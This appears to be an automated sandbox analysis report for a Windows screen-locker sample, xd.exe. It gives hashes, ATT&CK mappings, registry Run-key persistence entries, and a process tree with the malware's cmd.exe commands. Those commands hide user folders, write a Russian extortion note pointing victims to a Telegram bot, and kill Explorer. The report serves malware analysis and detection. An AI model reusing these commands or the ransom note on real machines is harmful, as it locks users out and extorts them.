6afc8ebfa114550d8a7dcd5c328b2f3e823fdf497559982cf8a70d0f568d3cb9

Analysis

max time kernel
150s
max time network
153s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
09/08/2026, 18:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
xd.exe
Size 240KB
Sample260809-ww87dsbp2v
SHA256 6afc8ebfa114550d8a7dcd5c328b2f3e823fdf497559982cf8a70d0f568d3cb9
MD5 6ed369641c22beaecf921e30a7a068f7
SHA1 ec2c2cdc72914e5c63f31494b4aed521728d86a5
SHA512 4526f27fa14363ee6b8900e97926225b1d0d492a3c4861257bc4167cce38a1e6496239e9402fbe6d1130e6d373e4fe0660608521802504160d9d14ae66960dbd
SSDEEP 6144:IEhfGkH3dZ4wuQLL9qAeUGKkg58SCpMW90KImQiXnUb1t:r+wdew9D
TLSH
T1AE345C94136A893EC6BD27BED0A105060BF1B227D103E75CBEECA0E66F27311A751B57
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

defense_evasion persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	xd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	xd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	xd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	xd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	xd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\xd.exe\" -startup"	xd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\xd.exe\""	xd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	xd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	xd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	xd.exe

Drops desktop.ini file(s) 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3696	cmd.exe
5032	cmd.exe
3680	cmd.exe
3528	cmd.exe
4884	cmd.exe
4496	cmd.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
5024	taskkill.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3900	xd.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3900	xd.exe
Token: SeDebugPrivilege	5024	taskkill.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 3900 wrote to memory of 3696	3900	xd.exe	86
PID 3900 wrote to memory of 4496	3900	xd.exe	87
PID 3900 wrote to memory of 4884	3900	xd.exe	88
PID 3900 wrote to memory of 3528	3900	xd.exe	89
PID 3900 wrote to memory of 3680	3900	xd.exe	90
PID 3900 wrote to memory of 5032	3900	xd.exe	91
PID 3900 wrote to memory of 5024	3900	xd.exe	92
PID 3696 wrote to memory of 1976	3696	cmd.exe	109
PID 5032 wrote to memory of 4312	5032	cmd.exe	110
PID 4496 wrote to memory of 1012	4496	cmd.exe	111
PID 3680 wrote to memory of 1636	3680	cmd.exe	112
PID 4884 wrote to memory of 2188	4884	cmd.exe	113
PID 3528 wrote to memory of 2352	3528	cmd.exe	114
PID 3680 wrote to memory of 2292	3680	cmd.exe	115
PID 3528 wrote to memory of 3068	3528	cmd.exe	116
PID 3696 wrote to memory of 3084	3696	cmd.exe	117
PID 4884 wrote to memory of 2088	4884	cmd.exe	118
PID 4496 wrote to memory of 3044	4496	cmd.exe	119
PID 5032 wrote to memory of 2784	5032	cmd.exe	120

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2088	attrib.exe
3044	attrib.exe
2784	attrib.exe
4312	attrib.exe
1976	attrib.exe
1012	attrib.exe
1636	attrib.exe
2352	attrib.exe
2188	attrib.exe
2292	attrib.exe
3084	attrib.exe
3068	attrib.exe

C:\Users\Admin\AppData\Local\Temp\xd.exe
"C:\Users\Admin\AppData\Local\Temp\xd.exe"
1⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3900
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] ВНИМАНИЕ! ВАША СИСТЕМА ЗАБЛОКИРОВАНА. В ОПЕРАТИВНУЮ ПАМЯТЬ ВШИТА DLL'КА SCAV.DLL, КОТОРАЯ НЕ СПЕША, БЕЗ СУЕТЫ, С ЛЕГКОЙ НОТКОЙ ИРОНИИ ШИФРУЕТ ВСЕ ВАШИ ДАННЫЕ. ЛЮБАЯ ПОПЫТКА ОБОЙТИ ЭТОТ ВИНЛОКЕР (ПЕРЕЗАГРУЗКА, ЗАПУСК С ФЛЕШКИ, ВОССТАНОВЛЕНИЕ СИСТЕМЫ) ПРИВЕДЕТ К МГНОВЕННОЙ И БЕЗВОЗВРАТНОЙ ПОТЕРЕ ВСЕХ ФАЙЛОВ. ИЗБАВИТЬСЯ ОТ ВИНЛОКЕРА МОЖНО ТОЛЬКО ВВОДОМ ПРАВИЛЬНОГО КОДА. ЧТОБЫ ПОЛУЧИТЬ ЭТОТ КОД, НАПИШИТЕ ЛЮБОЕ СООБЩЕНИЕ В ТЕЛЕГРАМ-БОТА, УКАЗАННОГО НИЖЕ. ПОСЛЕ ОТПРАВКИ ВЫ ПОЛУЧИТЕ УНИКАЛЬНЫЙ КОД ДЛЯ РАЗБЛОКИРОВКИ. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3696
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:1976
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3084
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] ВНИМАНИЕ! ВАША СИСТЕМА ЗАБЛОКИРОВАНА. В ОПЕРАТИВНУЮ ПАМЯТЬ ВШИТА DLL'КА SCAV.DLL, КОТОРАЯ НЕ СПЕША, БЕЗ СУЕТЫ, С ЛЕГКОЙ НОТКОЙ ИРОНИИ ШИФРУЕТ ВСЕ ВАШИ ДАННЫЕ. ЛЮБАЯ ПОПЫТКА ОБОЙТИ ЭТОТ ВИНЛОКЕР (ПЕРЕЗАГРУЗКА, ЗАПУСК С ФЛЕШКИ, ВОССТАНОВЛЕНИЕ СИСТЕМЫ) ПРИВЕДЕТ К МГНОВЕННОЙ И БЕЗВОЗВРАТНОЙ ПОТЕРЕ ВСЕХ ФАЙЛОВ. ИЗБАВИТЬСЯ ОТ ВИНЛОКЕРА МОЖНО ТОЛЬКО ВВОДОМ ПРАВИЛЬНОГО КОДА. ЧТОБЫ ПОЛУЧИТЬ ЭТОТ КОД, НАПИШИТЕ ЛЮБОЕ СООБЩЕНИЕ В ТЕЛЕГРАМ-БОТА, УКАЗАННОГО НИЖЕ. ПОСЛЕ ОТПРАВКИ ВЫ ПОЛУЧИТЕ УНИКАЛЬНЫЙ КОД ДЛЯ РАЗБЛОКИРОВКИ. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4496
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:1012
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3044
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] ВНИМАНИЕ! ВАША СИСТЕМА ЗАБЛОКИРОВАНА. В ОПЕРАТИВНУЮ ПАМЯТЬ ВШИТА DLL'КА SCAV.DLL, КОТОРАЯ НЕ СПЕША, БЕЗ СУЕТЫ, С ЛЕГКОЙ НОТКОЙ ИРОНИИ ШИФРУЕТ ВСЕ ВАШИ ДАННЫЕ. ЛЮБАЯ ПОПЫТКА ОБОЙТИ ЭТОТ ВИНЛОКЕР (ПЕРЕЗАГРУЗКА, ЗАПУСК С ФЛЕШКИ, ВОССТАНОВЛЕНИЕ СИСТЕМЫ) ПРИВЕДЕТ К МГНОВЕННОЙ И БЕЗВОЗВРАТНОЙ ПОТЕРЕ ВСЕХ ФАЙЛОВ. ИЗБАВИТЬСЯ ОТ ВИНЛОКЕРА МОЖНО ТОЛЬКО ВВОДОМ ПРАВИЛЬНОГО КОДА. ЧТОБЫ ПОЛУЧИТЬ ЭТОТ КОД, НАПИШИТЕ ЛЮБОЕ СООБЩЕНИЕ В ТЕЛЕГРАМ-БОТА, УКАЗАННОГО НИЖЕ. ПОСЛЕ ОТПРАВКИ ВЫ ПОЛУЧИТЕ УНИКАЛЬНЫЙ КОД ДЛЯ РАЗБЛОКИРОВКИ. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4884
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2188
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2088
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] ВНИМАНИЕ! ВАША СИСТЕМА ЗАБЛОКИРОВАНА. В ОПЕРАТИВНУЮ ПАМЯТЬ ВШИТА DLL'КА SCAV.DLL, КОТОРАЯ НЕ СПЕША, БЕЗ СУЕТЫ, С ЛЕГКОЙ НОТКОЙ ИРОНИИ ШИФРУЕТ ВСЕ ВАШИ ДАННЫЕ. ЛЮБАЯ ПОПЫТКА ОБОЙТИ ЭТОТ ВИНЛОКЕР (ПЕРЕЗАГРУЗКА, ЗАПУСК С ФЛЕШКИ, ВОССТАНОВЛЕНИЕ СИСТЕМЫ) ПРИВЕДЕТ К МГНОВЕННОЙ И БЕЗВОЗВРАТНОЙ ПОТЕРЕ ВСЕХ ФАЙЛОВ. ИЗБАВИТЬСЯ ОТ ВИНЛОКЕРА МОЖНО ТОЛЬКО ВВОДОМ ПРАВИЛЬНОГО КОДА. ЧТОБЫ ПОЛУЧИТЬ ЭТОТ КОД, НАПИШИТЕ ЛЮБОЕ СООБЩЕНИЕ В ТЕЛЕГРАМ-БОТА, УКАЗАННОГО НИЖЕ. ПОСЛЕ ОТПРАВКИ ВЫ ПОЛУЧИТЕ УНИКАЛЬНЫЙ КОД ДЛЯ РАЗБЛОКИРОВКИ. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3528
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2352
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3068
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] ВНИМАНИЕ! ВАША СИСТЕМА ЗАБЛОКИРОВАНА. В ОПЕРАТИВНУЮ ПАМЯТЬ ВШИТА DLL'КА SCAV.DLL, КОТОРАЯ НЕ СПЕША, БЕЗ СУЕТЫ, С ЛЕГКОЙ НОТКОЙ ИРОНИИ ШИФРУЕТ ВСЕ ВАШИ ДАННЫЕ. ЛЮБАЯ ПОПЫТКА ОБОЙТИ ЭТОТ ВИНЛОКЕР (ПЕРЕЗАГРУЗКА, ЗАПУСК С ФЛЕШКИ, ВОССТАНОВЛЕНИЕ СИСТЕМЫ) ПРИВЕДЕТ К МГНОВЕННОЙ И БЕЗВОЗВРАТНОЙ ПОТЕРЕ ВСЕХ ФАЙЛОВ. ИЗБАВИТЬСЯ ОТ ВИНЛОКЕРА МОЖНО ТОЛЬКО ВВОДОМ ПРАВИЛЬНОГО КОДА. ЧТОБЫ ПОЛУЧИТЬ ЭТОТ КОД, НАПИШИТЕ ЛЮБОЕ СООБЩЕНИЕ В ТЕЛЕГРАМ-БОТА, УКАЗАННОГО НИЖЕ. ПОСЛЕ ОТПРАВКИ ВЫ ПОЛУЧИТЕ УНИКАЛЬНЫЙ КОД ДЛЯ РАЗБЛОКИРОВКИ. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3680
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:1636
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2292
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] ВНИМАНИЕ! ВАША СИСТЕМА ЗАБЛОКИРОВАНА. В ОПЕРАТИВНУЮ ПАМЯТЬ ВШИТА DLL'КА SCAV.DLL, КОТОРАЯ НЕ СПЕША, БЕЗ СУЕТЫ, С ЛЕГКОЙ НОТКОЙ ИРОНИИ ШИФРУЕТ ВСЕ ВАШИ ДАННЫЕ. ЛЮБАЯ ПОПЫТКА ОБОЙТИ ЭТОТ ВИНЛОКЕР (ПЕРЕЗАГРУЗКА, ЗАПУСК С ФЛЕШКИ, ВОССТАНОВЛЕНИЕ СИСТЕМЫ) ПРИВЕДЕТ К МГНОВЕННОЙ И БЕЗВОЗВРАТНОЙ ПОТЕРЕ ВСЕХ ФАЙЛОВ. ИЗБАВИТЬСЯ ОТ ВИНЛОКЕРА МОЖНО ТОЛЬКО ВВОДОМ ПРАВИЛЬНОГО КОДА. ЧТОБЫ ПОЛУЧИТЬ ЭТОТ КОД, НАПИШИТЕ ЛЮБОЕ СООБЩЕНИЕ В ТЕЛЕГРАМ-БОТА, УКАЗАННОГО НИЖЕ. ПОСЛЕ ОТПРАВКИ ВЫ ПОЛУЧИТЕ УНИКАЛЬНЫЙ КОД ДЛЯ РАЗБЛОКИРОВКИ. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5032
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:4312
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2784
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5024

C:\Users\Admin\AppData\Local\Temp\xd.exe
"C:\Users\Admin\AppData\Local\Temp\xd.exe" -startup
1⤵
PID:4364

C:\Users\Admin\AppData\Local\Temp\xd.exe
"C:\Users\Admin\AppData\Local\Temp\xd.exe"
1⤵
PID:904

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

xd.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\xd.exe.log
Size 1KB
SHA256 77071d2e1fdfc305512f111f44cebf7231f696c3bed3cdf5fd369b4485330d9c
MD5 b2385a5c9864a22996a735d92ea0bbea
SHA1 6102095de817c5118b2daff432176cb1a6c31e70
SHA512 9e4b1da35348bc9e047334082a56a765d8dbcbd86594818f1dddbc46fbb6279f4389333d6fd2567466f948d1f62f0af343e48474c98c0d148f4e27ae8a2a2816
TLSH
T1D531DC7022B6B1D889023F470C6D29C417BF4329B560AE0CBAA8525EDD2B0175F323F3
MD5 SHA1 SHA512 TLSH

Submit Download

info-Locker.txt

Path C:\Users\Admin\Documents\info-Locker.txt
Size 525B
SHA256 749796b5910f608113fe8b4c0ae4350e07774701597ea2a59846818e0b6eb2e2
MD5 87aa961e60b766ec8403efd8ca5df31c
SHA1 0647578783dd9a4c8fb71782d3aec85e2d37489c
SHA512 97b4edae4f097cbb1f4e6e407aba22f473a294a6e1d0b4fc9d9600f6015fd0db149a9d3f608a80693e5356075fbc5dadca45412e6412fdf9f1cdb852d091ed4d
TLSH
T170F00964D80BDC9422412A40FE7CC89A4EFEDA3262F8334BF2240C3612C47296557CDC
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3900-0-0x0000000000400000-0x0000000000442000-memory.dmp

Download

memory/3900-1-0x000000001C400000-0x000000001C410000-memory.dmp

Download

memory/3900-3-0x000000001C400000-0x000000001C410000-memory.dmp

Download

memory/3900-20-0x000000001C400000-0x000000001C410000-memory.dmp

Download

memory/3900-21-0x000000001C400000-0x000000001C410000-memory.dmp

Download

memory/3900-22-0x000000001C400000-0x000000001C410000-memory.dmp

Download

memory/3900-23-0x000000001C400000-0x000000001C410000-memory.dmp

Download